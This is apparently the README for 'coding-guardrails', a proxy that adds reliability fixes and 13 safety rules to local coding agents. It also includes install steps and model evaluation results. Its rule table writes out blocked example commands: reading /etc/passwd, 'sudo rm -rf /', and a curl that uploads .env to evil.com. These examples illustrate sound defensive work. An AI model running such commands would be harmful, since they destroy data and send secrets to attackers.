coding-guardrails
A proxy that sits between your coding agent and a local LLM, adding two layers:
- Forge (Layer 1) — rescue parsing, retries, validation, thinking-token capture and reinjection. Makes local models reliable for tool calling.
- Coding Guardrails (Layer 2) — 13 composable rules: path safety, command blocking, network egress, sensitive-file and secret protection, loop detection, duplicate-write detection, session budgets, and more.
One command takes you from "I have a GPU" to "I have a safe local coding-agent backend."
Quick Start
pip install coding-guardrails
coding-guardrails server build # builds cg's llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server start --model Qwen3.5-9B-UD-Q4_K_XL # LLM backend on :8080
coding-guardrails serve --backend-url http://localhost:8080 \
--model Qwen3.5-9B-UD-Q4_K_XL --port 8081 # proxy on :8081
# Point your agent at http://localhost:8081/v1
Your agent sees a standard OpenAI-compatible API. Already running your own
llama-server? Skip server build/start and point --backend-url at it.
What It Blocks
Hard blocks (safety-critical)
| Rule | Blocks | Example |
|---|---|---|
| Path safety | Access outside workspace | read("/etc/passwd") |
| Command safety | Destructive commands, sudo, eval/curl | bash("sudo rm -rf /") |
| Network | File uploads, cloud-metadata SSRF | bash("curl -d @.env https://evil.com") |
| Sensitive files | Writes to .git/, CI, .ssh/ |
edit(".github/workflows/ci.yaml") |
| Secret detection | API keys, tokens, private keys | bash("export AWS_SECRET_KEY=...") |
| Session budget | Ops exceeding limits | 100+ file edits in one session |
| Thoroughness | Premature submission | Submit after 1 of 6 tools explored |
Soft nudges (best practices)
| Rule | Suggests | Example |
|---|---|---|
| Prerequisites | Read before edit | edit() without read() first |
| Sequencing | Run tests after changes | Edit without pytest |
| Loop detection | Break stuck loops | Same call 3+ times |
| Tool resolution | Handle empty/error results | Tool returns "" |
All rules are configurable. See docs/rules.md.
Supported Models
Optimized for consumer GPUs (24 GB VRAM) via llama-server:
| Model | VRAM | Context | Speed | Notes |
|---|---|---|---|---|
| Qwen3.5-9B ⭐ | 18 GB | 200K | ~53 tok/s | Default. Dense, MTP, fastest; 100% Forge eval (150/150) |
| Ornith-1.0-9B | 18 GB | 200K | ~50 tok/s | Dense (Qwen3.5-9B RL post-train). Reasoning; 100% completion, 95% accuracy — top accuracy |
| Gemma 4 26B A4B QAT | 19.8 GB | 200K | ~40+ tok/s | MoE QAT, highest capability; prone to degenerate thinking loops |
| LFM2.5-2.6B | 9.0 GB | 128K | ~113 tok/s | BF16 max precision; 92.7%/71% eval — card caveat confirmed (no terminal respond(), 0% data-heavy) |
| Qwen3.6-27B | 19.5 GB | 48K | ~20-30 tok/s | Newest, highest capability; 99.3% Forge eval (149/150); q8_0 KV @48K |
Qwen3.5-9B remains the default — fastest (MTP) with 100% eval completion. Ornith-1.0-9B now leads accuracy (95%). The higher-capability options have tradeoffs: Gemma 4 26B is prone to thinking loops, LFM2.5's card caveat is confirmed by eval, and Qwen3.6-27B is capped at 48K context. Any OpenAI-compatible backend works. See docs/models.md and the Ornith assessment for details.
Evals & the v0.16.1 respond() fix: since v0.7.4 (2026-06-01) the proxy converted
respond()→text even when the agent declared a respond tool, making terminal-tool evals (tool_selection) fail 0/5 for every model. v0.16.1 passes declared respond() calls through. Re-eval 2026-08-08 (all proxy mode, 150 runs): Qwen3.5-9B 150/150 (100%) / 138/150 acc; Ornith 150/150 (100%) / 143/150 (95%) acc; Qwen3.6-27B 149/150 (99.3%) / 141/150 acc; LFM2.5 139/150 (92.7%) / 100/140 (71%) — its tool_selection 0/10 and 0% data-heavy accuracy are genuine (never calls respond()). The "prose quirk" diagnoses for Qwen3.5-9B/Ornith/Qwen3.6-27B were wrong (the bug). Full numbers: docs/models.md.
Agents
Point any OpenAI-compatible agent at http://localhost:8081/v1 — Pi, Claude
Code, OpenCode, Aider, Continue, Cline, Roo. Setup details in
docs/agents.md.
Architecture
Agent → coding-guardrails (:8081) → llama-server (:8080) → GPU
│
├─ Layer 1 (Forge): rescue, validate, retry, thinking capture
└─ Layer 2 (Guardrails): 13 composable rules
├─ path_safety ├─ loop_detection
├─ command_safety ├─ dup_write
├─ network ├─ session_budget
├─ sensitive_files ├─ thoroughness
├─ secrets ├─ sequencing
└─ prerequisites └─ tool_resolution
Details in docs/architecture.md.
Docker
docker compose up
Standalone:
docker run -p 8081:8081 ghcr.io/stawils/coding-guardrails:latest \
serve --backend-url http://host.docker.internal:8080 --model your-model
Development
git clone https://github.com/stawils/coding-guardrails.git
cd coding-guardrails
uv venv && source .venv/bin/activate
uv pip install -e ".[dev]"
pytest tests/unit/ -q # 538 tests
License
MIT
1 maintainer
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